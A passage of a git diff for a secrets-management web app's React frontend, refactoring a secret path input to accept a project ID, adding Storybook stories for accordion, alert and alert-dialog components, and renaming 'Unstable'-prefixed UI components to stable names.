+            className="relative top-2 z-100 max-h-64 thin-scrollbar min-w-80 overflow-auto rounded-md border border-mineshaft-600 bg-mineshaft-900 font-inter text-bunker-100 shadow-md"
             style={{
               width: "var(--radix-popover-trigger-width)"
             }}
diff --git a/frontend/src/components/v2/SecretPathInput/SecretPathInput.tsx b/frontend/src/components/v2/SecretPathInput/SecretPathInput.tsx
index 81a25ea2661..395557424a2 100644
--- a/frontend/src/components/v2/SecretPathInput/SecretPathInput.tsx
+++ b/frontend/src/components/v2/SecretPathInput/SecretPathInput.tsx
@@ -10,7 +10,7 @@ import { useGetFoldersByEnv } from "@app/hooks/api";
 
 import { Input } from "../Input";
 
-type Props = Omit<InputHTMLAttributes<HTMLInputElement>, "size" | "onChange"> & {
+type BaseProps = Omit<InputHTMLAttributes<HTMLInputElement>, "size" | "onChange"> & {
   value?: string | null;
   isImport?: boolean;
   isVisible?: boolean;
@@ -20,28 +20,29 @@ type Props = Omit<InputHTMLAttributes<HTMLInputElement>, "size" | "onChange"> &
   containerClassName?: string;
   onChange?: (arg: string) => void;
   folderNames?: string[];
+  projectId: string;
 };
 
-export const SecretPathInput = ({
+type Props = Omit<BaseProps, "projectId"> & { projectId?: string };
+
+const SecretPathInputBase = ({
   containerClassName,
   onChange,
   environment,
+  projectId,
   value: propValue,
   folderNames: folderNamesProp,
   ...props
-}: Props) => {
+}: BaseProps) => {
   const [inputValue, setInputValue] = useState(propValue ?? "");
   const [secretPath, setSecretPath] = useState("/");
   const [suggestions, setSuggestions] = useState<string[]>([]);
   const [isInputFocused, setIsInputFocus] = useState(false);
   const [highlightedIndex, setHighlightedIndex] = useState(-1);
   const [debouncedInputValue] = useDebounce(inputValue, 200);
-
-  const { currentProject } = useProject();
-  const projectId = currentProject?.id || "";
   const { folderNames: folders } = useGetFoldersByEnv({
     path: secretPath,
-    environments: [environment || currentProject?.environments?.[0].slug || ""],
+    environments: [environment || ""],
     projectId
   });
 
@@ -164,7 +165,7 @@ export const SecretPathInput = ({
                     <div className="flex items-center text-yellow-700">
                       <FontAwesomeIcon icon={faFolder} />
                     </div>
-                    <div className="text-md w-10/12 truncate text-left">{suggestion}</div>
+                    <div className="text-md text-left">{suggestion}</div>
                   </div>
                 </div>
               </div>
@@ -175,3 +176,24 @@ export const SecretPathInput = ({
     </Popover.Root>
   );
 };
+
+const SecretPathInputWithProjectContext = ({
+  environment,
+  ...props
+}: Omit<BaseProps, "projectId">) => {
+  const { currentProject } = useProject();
+  return (
+    <SecretPathInputBase
+      projectId={currentProject?.id || ""}
+      environment={environment || currentProject?.environments?.[0].slug}
+      {...props}
+    />
+  );
+};
+
+export const SecretPathInput = ({ projectId, ...props }: Props) => {
+  if (projectId !== undefined) {
+    return <SecretPathInputBase projectId={projectId} {...props} />;
+  }
+  return <SecretPathInputWithProjectContext {...props} />;
+};
diff --git a/frontend/src/components/v3/generic/Accordion/Accordion.stories.tsx b/frontend/src/components/v3/generic/Accordion/Accordion.stories.tsx
new file mode 100644
index 00000000000..ae77eb29d62
--- /dev/null
+++ b/frontend/src/components/v3/generic/Accordion/Accordion.stories.tsx
@@ -0,0 +1,99 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+
+import { Accordion, AccordionContent, AccordionItem, AccordionTrigger } from "./Accordion";
+
+/**
+ * Accordions allow users to expand and collapse sections of content.
+ * The variant determines the visual style of the accordion.
+ */
+const meta = {
+  title: "Generic/Accordion",
+  component: Accordion,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    variant: {
+      control: "select",
+      options: ["default", "ghost"]
+    }
+  }
+} satisfies Meta<typeof Accordion>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Variant: Default",
+  args: {
+    variant: "default",
+    type: "single",
+    collapsible: true
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The default variant renders a bordered, contained accordion suitable for standalone content sections."
+      }
+    }
+  },
+  render: (args) => (
+    <Accordion {...args} className="w-80">
+      <AccordionItem value="section-1">
+        <AccordionTrigger>Section One</AccordionTrigger>
+        <AccordionContent>
+          Content for section one. This is a basic example of accordion content.
+        </AccordionContent>
+      </AccordionItem>
+      <AccordionItem value="section-2">
+        <AccordionTrigger>Section Two</AccordionTrigger>
+        <AccordionContent>
+          Content for section two. Each section can be expanded independently.
+        </AccordionContent>
+      </AccordionItem>
+      <AccordionItem value="section-3">
+        <AccordionTrigger>Section Three</AccordionTrigger>
+        <AccordionContent>Content for section three.</AccordionContent>
+      </AccordionItem>
+    </Accordion>
+  )
+};
+
+export const Ghost: Story = {
+  name: "Variant: Ghost",
+  args: {
+    variant: "ghost",
+    type: "single",
+    collapsible: true
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The ghost variant renders a borderless accordion suitable for embedding within cards or other containers."
+      }
+    }
+  },
+  render: (args) => (
+    <Accordion {...args} className="w-80">
+      <AccordionItem value="section-1">
+        <AccordionTrigger>Section One</AccordionTrigger>
+        <AccordionContent>
+          Content for section one. This is a basic example of accordion content.
+        </AccordionContent>
+      </AccordionItem>
+      <AccordionItem value="section-2">
+        <AccordionTrigger>Section Two</AccordionTrigger>
+        <AccordionContent>
+          Content for section two. Each section can be expanded independently.
+        </AccordionContent>
+      </AccordionItem>
+      <AccordionItem value="section-3">
+        <AccordionTrigger>Section Three</AccordionTrigger>
+        <AccordionContent>Content for section three.</AccordionContent>
+      </AccordionItem>
+    </Accordion>
+  )
+};
diff --git a/frontend/src/components/v3/generic/Accordion/Accordion.tsx b/frontend/src/components/v3/generic/Accordion/Accordion.tsx
index 15d423c06ec..1a6c1b3e5d1 100644
--- a/frontend/src/components/v3/generic/Accordion/Accordion.tsx
+++ b/frontend/src/components/v3/generic/Accordion/Accordion.tsx
@@ -6,15 +6,22 @@ import { ChevronDownIcon } from "lucide-react";
 
 import { cn } from "../../utils";
 
-function UnstableAccordion({
+function Accordion({
   className,
+  variant = "default",
   ...props
-}: React.ComponentProps<typeof AccordionPrimitive.Root>) {
+}: React.ComponentProps<typeof AccordionPrimitive.Root> & {
+  variant?: "default" | "ghost";
+}) {
   return (
     <AccordionPrimitive.Root
       data-slot="accordion"
+      data-variant={variant}
       className={cn(
-        "overflow-clip rounded-md border border-border bg-container text-foreground",
+        "group/accordion",
+        variant === "default" &&
+          "overflow-clip rounded-md border border-border bg-container text-foreground",
+        variant === "ghost" && "text-foreground",
         className
       )}
       {...props}
@@ -22,7 +29,7 @@ function UnstableAccordion({
   );
 }
 
-function UnstableAccordionItem({
+function AccordionItem({
   className,
   ...props
 }: React.ComponentProps<typeof AccordionPrimitive.Item>) {
@@ -35,7 +42,7 @@ function UnstableAccordionItem({
   );
 }
 
-function UnstableAccordionTrigger({
+function AccordionTrigger({
   className,
   children,
   ...props
@@ -45,18 +52,30 @@ function UnstableAccordionTrigger({
       <AccordionPrimitive.Trigger
         data-slot="accordion-trigger"
         className={cn(
-          "flex min-h-12 flex-1 items-center gap-4 border-border bg-container px-4 text-left text-sm font-medium",
+          "flex flex-1 items-center border-border text-left text-sm font-medium",
           "transition-all outline-none focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50",
-          "disabled:pointer-events-none disabled:opacity-50 [&[data-state=open]>[data-slot=accordion-chevron]]:rotate-180",
-          "cursor-pointer hover:bg-container-hover",
-          "data-[state=open]:bg-container-hover",
+          "disabled:pointer-events-none disabled:opacity-50",
+          "cursor-pointer",
+          // Default variant
+          "group-data-[variant=default]/accordion:min-h-12 group-data-[variant=default]/accordion:gap-4 group-data-[variant=default]/accordion:bg-container group-data-[variant=default]/accordion:px-4",
+          "group-data-[variant=default]/accordion:hover:bg-container-hover",
+          "group-data-[variant=default]/accordion:data-[state=open]:bg-container-hover",
+          "group-data-[variant=default]/accordion:[&[data-state=open]>[data-slot=accordion-chevron]]:rotate-180",
+          // Ghost variant
+          "group-data-[variant=ghost]/accordion:min-h-10 group-data-[variant=ghost]/accordion:gap-2 group-data-[variant=ghost]/accordion:py-2",
+          "group-data-[variant=ghost]/accordion:hover:text-foreground/80",
+          "group-data-[variant=ghost]/accordion:[&[data-state=open]>[data-slot=accordion-chevron]]:rotate-180",
           className
         )}
         {...props}
       >
         <ChevronDownIcon
           data-slot="accordion-chevron"
-          className="pointer-events-none size-4 shrink-0 translate-y-0 text-label transition-transform duration-200"
+          className={cn(
+            "pointer-events-none shrink-0 text-label transition-transform duration-200",
+            "group-data-[variant=default]/accordion:size-4",
+            "group-data-[variant=ghost]/accordion:size-4"
+          )}
         />
         {children}
       </AccordionPrimitive.Trigger>
@@ -64,7 +83,7 @@ function UnstableAccordionTrigger({
   );
 }
 
-function UnstableAccordionContent({
+function AccordionContent({
   className,
   children,
   ...props
@@ -75,14 +94,17 @@ function UnstableAccordionContent({
       className="overflow-hidden text-sm transition data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down"
       {...props}
     >
-      <div className={cn("p-6", className)}>{children}</div>
+      <div
+        className={cn(
+          "group-data-[variant=default]/accordion:p-6",
+          "group-data-[variant=ghost]/accordion:pt-2 group-data-[variant=ghost]/accordion:pb-4",
+          className
+        )}
+      >
+        {children}
+      </div>
     </AccordionPrimitive.Content>
   );
 }
 
-export {
-  UnstableAccordion,
-  UnstableAccordionContent,
-  UnstableAccordionItem,
-  UnstableAccordionTrigger
-};
+export { Accordion, AccordionContent, AccordionItem, AccordionTrigger };
diff --git a/frontend/src/components/v3/generic/Alert/Alert.stories.tsx b/frontend/src/components/v3/generic/Alert/Alert.stories.tsx
new file mode 100644
index 00000000000..9e7009e735b
--- /dev/null
+++ b/frontend/src/components/v3/generic/Alert/Alert.stories.tsx
@@ -0,0 +1,269 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import { CheckIcon, CircleXIcon, InfoIcon, TriangleAlertIcon } from "lucide-react";
+
+import { OrgIcon, ProjectIcon, SubOrgIcon } from "../../platform";
+import { Alert, AlertDescription, AlertTitle } from "./Alert";
+
+/**
+ * Alerts surface short, scannable messages that communicate state or call attention to contextual information.
+ * Compose an alert from an optional leading icon, `AlertTitle`, and `AlertDescription`.
+ * The `variant` determines the semantic tone of the message.
+ */
+const meta = {
+  title: "Generic/Alert",
+  component: Alert,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    variant: {
+      control: "select",
+      options: ["default", "info", "success", "warning", "danger", "project", "org", "sub-org"]
+    },
+    children: {
+      table: {
+        disable: true
+      }
+    },
+    className: {
+      table: {
+        disable: true
+      }
+    }
+  },
+  args: {
+    className: "w-[500px]"
+  }
+} satisfies Meta<typeof Alert>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Variant: Default",
+  args: {
+    variant: "default"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Use this variant for neutral informational messages that do not warrant a semantic tone."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <AlertTitle>Your changes have been saved.</AlertTitle>
+      <AlertDescription>The new configuration will apply on the next sync.</AlertDescription>
+    </Alert>
+  )
+};
+
+export const Info: Story = {
+  name: "Variant: Info",
+  args: {
+    variant: "info"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use this variant to highlight helpful context or link to relevant documentation."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <InfoIcon />
+      <AlertTitle>Gateway deployment recommended.</AlertTitle>
+      <AlertDescription>
+        Deploy a gateway in the target network to keep traffic private and avoid public endpoints.
+      </AlertDescription>
+    </Alert>
+  )
+};
+
+export const Success: Story = {
+  name: "Variant: Success",
+  args: {
+    variant: "success"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Use this variant to confirm a successful or healthy state after an operation completes."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <CheckIcon />
+      <AlertTitle>Integration connected.</AlertTitle>
+      <AlertDescription>
+        Secrets will begin syncing to the target environment within the next minute.
+      </AlertDescription>
+    </Alert>
+  )
+};
+
+export const Warning: Story = {
+  name: "Variant: Warning",
+  args: {
+    variant: "warning"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use this variant to flag attention-warranting states before the user proceeds."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <TriangleAlertIcon />
+      <AlertTitle>Access token expires soon.</AlertTitle>
+      <AlertDescription>
+        This token will expire in 24 hours. Rotate it now to avoid downstream failures.
+      </AlertDescription>
+    </Alert>
+  )
+};
+
+export const Danger: Story = {
+  name: "Variant: Danger",
+  args: {
+    variant: "danger"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Use this variant to surface errors or destructive consequences the user must acknowledge."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <CircleXIcon />
+      <AlertTitle>This action cannot be undone.</AlertTitle>
+      <AlertDescription>
+        Removing this identity will revoke all active tokens and disable existing integrations.
+      </AlertDescription>
+    </Alert>
+  )
+};
+
+export const Project: Story = {
+  name: "Variant: Project",
+  args: {
+    variant: "project"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use this variant to call out project-scoped information or configuration."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <ProjectIcon />
+      <AlertTitle>Project-level override active.</AlertTitle>
+      <AlertDescription>
+        This project overrides the organization default for secret rotation intervals.
+      </AlertDescription>
+    </Alert>
+  )
+};
+
+export const Organization: Story = {
+  name: "Variant: Organization",
+  args: {
+    variant: "org"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use this variant to call out organization-scoped information or configuration."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <OrgIcon />
+      <AlertTitle>Organization-wide policy applies.</AlertTitle>
+      <AlertDescription>
+        Settings defined at the organization level override project-level defaults.
+      </AlertDescription>
+    </Alert>
+  )
+};
+
+export const SubOrganization: Story = {
+  name: "Variant: Sub-Organization",
+  args: {
+    variant: "sub-org"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use this variant to call out sub-organization-scoped information or configuration."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <SubOrgIcon />
+      <AlertTitle>Inherited from sub-organization.</AlertTitle>
+      <AlertDescription>
+        This configuration is managed by the parent sub-organization and cannot be edited here.
+      </AlertDescription>
+    </Alert>
+  )
+};
+
+export const TitleOnly: Story = {
+  name: "Example: Title Only",
+  args: {
+    variant: "info"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Omit `AlertDescription` when the message fits in a single line — the title aligns vertically with the icon."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <InfoIcon />
+      <AlertTitle>Sync completed successfully.</AlertTitle>
+    </Alert>
+  )
+};
+
+export const WithoutIcon: Story = {
+  name: "Example: Without Icon",
+  args: {
+    variant: "default"
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Omit the leading icon when the variant's tone is conveyed through color alone — the content fills the full width."
+      }
+    }
+  },
+  render: (args) => (
+    <Alert {...args}>
+      <AlertTitle>3 secrets were imported.</AlertTitle>
+      <AlertDescription>
+        Review the changes in the audit log before sharing access.
+      </AlertDescription>
+    </Alert>
+  )
+};
diff --git a/frontend/src/components/v3/generic/Alert/Alert.tsx b/frontend/src/components/v3/generic/Alert/Alert.tsx
index 319e19cb61a..fd50656278e 100644
--- a/frontend/src/components/v3/generic/Alert/Alert.tsx
+++ b/frontend/src/components/v3/generic/Alert/Alert.tsx
@@ -10,9 +10,12 @@ const alertVariants = cva(
   {
     variants: {
       variant: {
-        default: "bg-container text-card-foreground",
+        default: "bg-foreground/5 text-foreground/75 border-border",
         info: "bg-info/5 text-info border-info/20",
+        success: "bg-success/5 text-success border-success/20",
         warning: "bg-warning/5 text-warning border-warning/20",
+        danger: "bg-danger/5 text-danger border-danger/20",
+        project: "bg-project/5 text-project border-project/20",
         org: "bg-org/5 text-org border-org/20",
         "sub-org": "bg-sub-org/5 text-sub-org border-sub-org/20"
       }
@@ -23,7 +26,7 @@ const alertVariants = cva(
   }
 );
 
-function UnstableAlert({
+function Alert({
   className,
   variant,
   ...props
@@ -38,7 +41,7 @@ function UnstableAlert({
   );
 }
 
-function UnstableAlertTitle({ className, ...props }: React.ComponentProps<"div">) {
+function AlertTitle({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="alert-title"
@@ -48,12 +51,12 @@ function UnstableAlertTitle({ className, ...props }: React.ComponentProps<"div">
   );
 }
 
-function UnstableAlertDescription({ className, ...props }: React.ComponentProps<"div">) {
+function AlertDescription({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="alert-description"
       className={cn(
-        "col-start-2 grid justify-items-start gap-1 text-sm text-foreground/75 [&_p]:leading-relaxed",
+        "col-start-2 grid justify-items-start gap-1 text-xs text-foreground/75 [&_p]:leading-relaxed",
         className
       )}
       {...props}
@@ -61,4 +64,4 @@ function UnstableAlertDescription({ className, ...props }: React.ComponentProps<
   );
 }
 
-export { UnstableAlert, UnstableAlertDescription, UnstableAlertTitle };
+export { Alert, AlertDescription, AlertTitle };
diff --git a/frontend/src/components/v3/generic/AlertDialog/AlertDialog.stories.tsx b/frontend/src/components/v3/generic/AlertDialog/AlertDialog.stories.tsx
new file mode 100644
index 00000000000..cd8f034aaab
--- /dev/null
+++ b/frontend/src/components/v3/generic/AlertDialog/AlertDialog.stories.tsx
@@ -0,0 +1,245 @@
+import { useState } from "react";
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import { LogOutIcon, TrashIcon } from "lucide-react";
+
+import { Button } from "../Button";
+import { Input } from "../Input";
+import { Label } from "../Label";
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogMedia,
+  AlertDialogTitle,
+  AlertDialogTrigger
+} from "./AlertDialog";
+
+/**
+ * AlertDialogs are modal confirmation dialogs for irreversible or high-consequence actions —
+ * use them when the user must explicitly acknowledge an operation before it proceeds.
+ * Compose an alert dialog from `AlertDialogTrigger`, `AlertDialogContent`, `AlertDialogHeader`
+ * (with optional `AlertDialogMedia`, `AlertDialogTitle`, and `AlertDialogDescription`), and
+ * `AlertDialogFooter` (with `AlertDialogCancel` and `AlertDialogAction`).
+ *
+ * Do not use an AlertDialog for informational messages — prefer `Alert` or a non-modal toast.
+ */
+const meta = {
+  title: "Generic/AlertDialog",
+  component: AlertDialog,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    children: {
+      table: {
+        disable: true
+      }
+    }
+  }
+} satisfies Meta<typeof AlertDialog>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Example: Default",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The baseline confirmation dialog — a trigger opens a modal with title, description, and a Cancel / Continue footer. Use this composition when the action is reversible or low-consequence."
+      }
+    }
+  },
+  render: () => (
+    <AlertDialog>
+      <AlertDialogTrigger asChild>
+        <Button variant="outline">Continue</Button>
+      </AlertDialogTrigger>
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogTitle>Continue to the next step?</AlertDialogTitle>
+          <AlertDialogDescription>
+            You can return to this step later from the workspace settings page.
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>Cancel</AlertDialogCancel>
+          <AlertDialogAction>Continue</AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+};
+
+export const DestructiveAction: Story = {
+  name: "Example: Destructive Action",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Use `variant="danger"` on `AlertDialogAction` when the confirmed action is destructive or irreversible. The trigger Button typically matches the action\'s tone.'
+      }
+    }
+  },
+  render: () => (
+    <AlertDialog>
+      <AlertDialogTrigger asChild>
+        <Button variant="danger">
+          <TrashIcon />
+          Delete workspace
+        </Button>
+      </AlertDialogTrigger>
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogTitle>Delete workspace?</AlertDialogTitle>
+          <AlertDialogDescription>
+            This will permanently remove the workspace, all of its secrets, and revoke access for
+            every member. This action cannot be undone.
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>Cancel</AlertDialogCancel>
+          <AlertDialogAction variant="danger">Delete</AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+};
+
+export const WithMedia: Story = {
+  name: "Example: With Media",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Add an `AlertDialogMedia` icon slot above (mobile) or beside (desktop) the title to reinforce the action's tone. Mirrors the 'Remove Override' confirmation pattern in the Secrets dashboard."
+      }
+    }
+  },
+  render: () => (
+    <AlertDialog>
+      <AlertDialogTrigger asChild>
+        <Button variant="outline">
+          <TrashIcon />
+          Remove override
+        </Button>
+      </AlertDialogTrigger>
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogMedia>
+            <TrashIcon />
+          </AlertDialogMedia>
+          <AlertDialogTitle>Remove Override</AlertDialogTitle>
+          <AlertDialogDescription>
+            Are you sure you want to remove this personal override? The shared secret value will be
+            used instead.
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel>Cancel</AlertDialogCancel>
+          <AlertDialogAction variant="danger">Remove</AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+};
+
+export const SmallSize: Story = {
+  name: "Example: Small Size",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Pass `size="sm"` to `AlertDialogContent` for a compact dialog — header content is center-aligned and footer actions split into a two-column grid. Use for short, single-sentence confirmations.'
+      }
+    }
+  },
+  render: () => (
+    <AlertDialog>
+      <AlertDialogTrigger asChild>
+        <Button variant="outline">
+          <LogOutIcon />
+          Revoke session
+        </Button>
+      </AlertDialogTrigger>
+      <AlertDialogContent size="sm">
+        <AlertDialogHeader>
+          <AlertDialogMedia>
+            <LogOutIcon />
+          </AlertDialogMedia>
+          <AlertDialogTitle>Revoke session?</AlertDialogTitle>
+          <AlertDialogDescription>
+            This device will be signed out immediately.
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <AlertDialogFooter>
+          <AlertDialogCancel isFullWidth>Cancel</AlertDialogCancel>
+          <AlertDialogAction isFullWidth variant="danger">
+            Revoke
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  )
+};
+
+const CONFIRMATION_KEYWORD = "delete";
+
+const TypedConfirmationStory = () => {
+  const [confirmation, setConfirmation] = useState("");
+  const isConfirmed = confirmation === CONFIRMATION_KEYWORD;
+
+  return (
+    <AlertDialog onOpenChange={(open) => !open && setConfirmation("")}>
+      <AlertDialogTrigger asChild>
+        <Button variant="danger">
+          <TrashIcon />
+          Delete project
+        </Button>
+      </AlertDialogTrigger>
+      <AlertDialogContent>
+        <AlertDialogHeader>
+          <AlertDialogTitle>Delete project?</AlertDialogTitle>
+          <AlertDialogDescription>
+            This will permanently remove the project and all of its secrets, integrations, and audit
+            history. This action cannot be undone.
+          </AlertDialogDescription>
+        </AlertDialogHeader>
+        <div className="flex flex-col gap-2">
+          <Label htmlFor="alert-dialog-confirmation">Type &quot;delete&quot; to confirm</Label>
+          <Input
+            id="alert-dialog-confirmation"
+            value={confirmation}
+            onChange={(e) => setConfirmation(e.target.value)}
+            autoComplete="off"
+          />
+        </div>
+        <AlertDialogFooter>
+          <AlertDialogCancel>Cancel</AlertDialogCancel>
+          <AlertDialogAction variant="danger" disabled={!isConfirmed}>
+            Delete project
+          </AlertDialogAction>
+        </AlertDialogFooter>
+      </AlertDialogContent>
+    </AlertDialog>
+  );
+};
+
+export const TypedConfirmation: Story = {
+  name: "Example: Typed Confirmation",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Add an `Input` between the header and footer that requires the user to type a keyword before the destructive action is enabled. Use this pattern for tier-two destructive actions (delete account, delete project) where an extra deliberate step reduces accidental loss. The input clears whenever the dialog closes."
+      }
+    }
+  },
+  render: () => <TypedConfirmationStory />
+};
diff --git a/frontend/src/components/v3/generic/AlertDialog/AlertDialog.tsx b/frontend/src/components/v3/generic/AlertDialog/AlertDialog.tsx
index 12e85fa0f72..d7118500db1 100644
--- a/frontend/src/components/v3/generic/AlertDialog/AlertDialog.tsx
+++ b/frontend/src/components/v3/generic/AlertDialog/AlertDialog.tsx
@@ -50,7 +50,7 @@ function AlertDialogContent({
         data-slot="alert-dialog-content"
         data-size={size}
         className={cn(
-          "group/alert-dialog-content fixed top-1/2 left-1/2 z-50 grid w-full -translate-x-1/2 -translate-y-1/2 gap-4 rounded-lg bg-popover p-4 text-foreground ring-1 ring-foreground/10 duration-100 outline-none data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95 data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-[size=default]:max-w-xs data-[size=sm]:max-w-xs data-[size=default]:sm:max-w-sm",
+          "group/alert-dialog-content fixed top-1/2 left-1/2 z-50 grid w-full -translate-x-1/2 -translate-y-1/2 gap-4 rounded-lg bg-popover p-4 text-foreground ring-1 ring-foreground/10 duration-100 outline-none data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95 data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-[size=default]:max-w-xs data-[size=sm]:max-w-xs data-[size=default]:sm:max-w-md",
           className
         )}
         {...props}
@@ -134,11 +134,13 @@ function AlertDialogAction({
   className,
   variant = "outline",
   size = "sm",
+  isFullWidth = false,
+  isDisabled = false,
   ...props
 }: React.ComponentProps<typeof AlertDialogPrimitive.Action> &
-  Pick<React.ComponentProps<typeof Button>, "variant" | "size">) {
+  Pick<React.ComponentProps<typeof Button>, "variant" | "size" | "isFullWidth" | "isDisabled">) {
   return (
-    <Button variant={variant} size={size} asChild>
+    <Button variant={variant} size={size} isFullWidth={isFullWidth} isDisabled={isDisabled} asChild>
       <AlertDialogPrimitive.Action
         data-slot="alert-dialog-action"
         className={cn(className)}
@@ -152,11 +154,13 @@ function AlertDialogCancel({
   className,
   variant = "ghost",
   size = "sm",
+  isFullWidth = false,
+  isDisabled = false,
   ...props
 }: React.ComponentProps<typeof AlertDialogPrimitive.Cancel> &
-  Pick<React.ComponentProps<typeof Button>, "variant" | "size">) {
+  Pick<React.ComponentProps<typeof Button>, "variant" | "size" | "isFullWidth" | "isDisabled">) {
   return (
-    <Button variant={variant} size={size} asChild>
+    <Button variant={variant} size={size} isFullWidth={isFullWidth} isDisabled={isDisabled} asChild>
       <AlertDialogPrimitive.Cancel
         data-slot="alert-dialog-cancel"
         className={cn(className)}
diff --git a/frontend/src/components/v3/generic/Badge/Badge.stories.tsx b/frontend/src/components/v3/generic/Badge/Badge.stories.tsx
index 244bd810877..230a3bd2e51 100644
--- a/frontend/src/components/v3/generic/Badge/Badge.stories.tsx
+++ b/frontend/src/components/v3/generic/Badge/Badge.stories.tsx
@@ -16,7 +16,7 @@ import {
 } from "lucide-react";
 
 import { OrgIcon, ProjectIcon, SubOrgIcon } from "../../platform";
-import { UnstableButtonGroup } from "../ButtonGroup";
+import { ButtonGroup } from "../ButtonGroup";
 import { Badge } from "./Badge";
 
 /**
@@ -441,9 +441,9 @@ export const KeyValuePair: Story = {
     }
   },
   decorators: () => (
-    <UnstableButtonGroup>
+    <ButtonGroup>
       <Badge>Key</Badge>
       <Badge variant="outline">Value</Badge>
-    </UnstableButtonGroup>
+    </ButtonGroup>
   )
 };
diff --git a/frontend/src/components/v3/generic/Breadcrumb/Breadcrumb.stories.tsx b/frontend/src/components/v3/generic/Breadcrumb/Breadcrumb.stories.tsx
index 02b54ece74b..4be04ed19a1 100644
--- a/frontend/src/components/v3/generic/Breadcrumb/Breadcrumb.stories.tsx
+++ b/frontend/src/components/v3/generic/Breadcrumb/Breadcrumb.stories.tsx
@@ -5,11 +5,11 @@ import { MoreHorizontal } from "lucide-react";
 import {
   BreadcrumbLink,
   BreadcrumbPage,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton
 } from "@app/components/v3/generic";
 
 import { Breadcrumb, BreadcrumbItem, BreadcrumbList, BreadcrumbSeparator } from "./Breadcrumb";
@@ -52,17 +52,17 @@ export const SecretsManagement: Story = {
         </BreadcrumbItem>
         <BreadcrumbSeparator />
         <BreadcrumbItem>
-          <UnstableDropdownMenu>
-            <UnstableDropdownMenuTrigger asChild>
-              <UnstableIconButton size="xs" variant="ghost">
+          <DropdownMenu>
+            <DropdownMenuTrigger asChild>
+              <IconButton size="xs" variant="ghost">
                 <MoreHorizontal />
-              </UnstableIconButton>
-            </UnstableDropdownMenuTrigger>
-            <UnstableDropdownMenuContent align="start">
-              <UnstableDropdownMenuItem>/logging</UnstableDropdownMenuItem>
-              <UnstableDropdownMenuItem>/data-dog</UnstableDropdownMenuItem>
-            </UnstableDropdownMenuContent>
-          </UnstableDropdownMenu>
+              </IconButton>
+            </DropdownMenuTrigger>
+            <DropdownMenuContent align="start">
+              <DropdownMenuItem>/logging</DropdownMenuItem>
+              <DropdownMenuItem>/data-dog</DropdownMenuItem>
+            </DropdownMenuContent>
+          </DropdownMenu>
         </BreadcrumbItem>
         <BreadcrumbSeparator />
         <BreadcrumbItem>
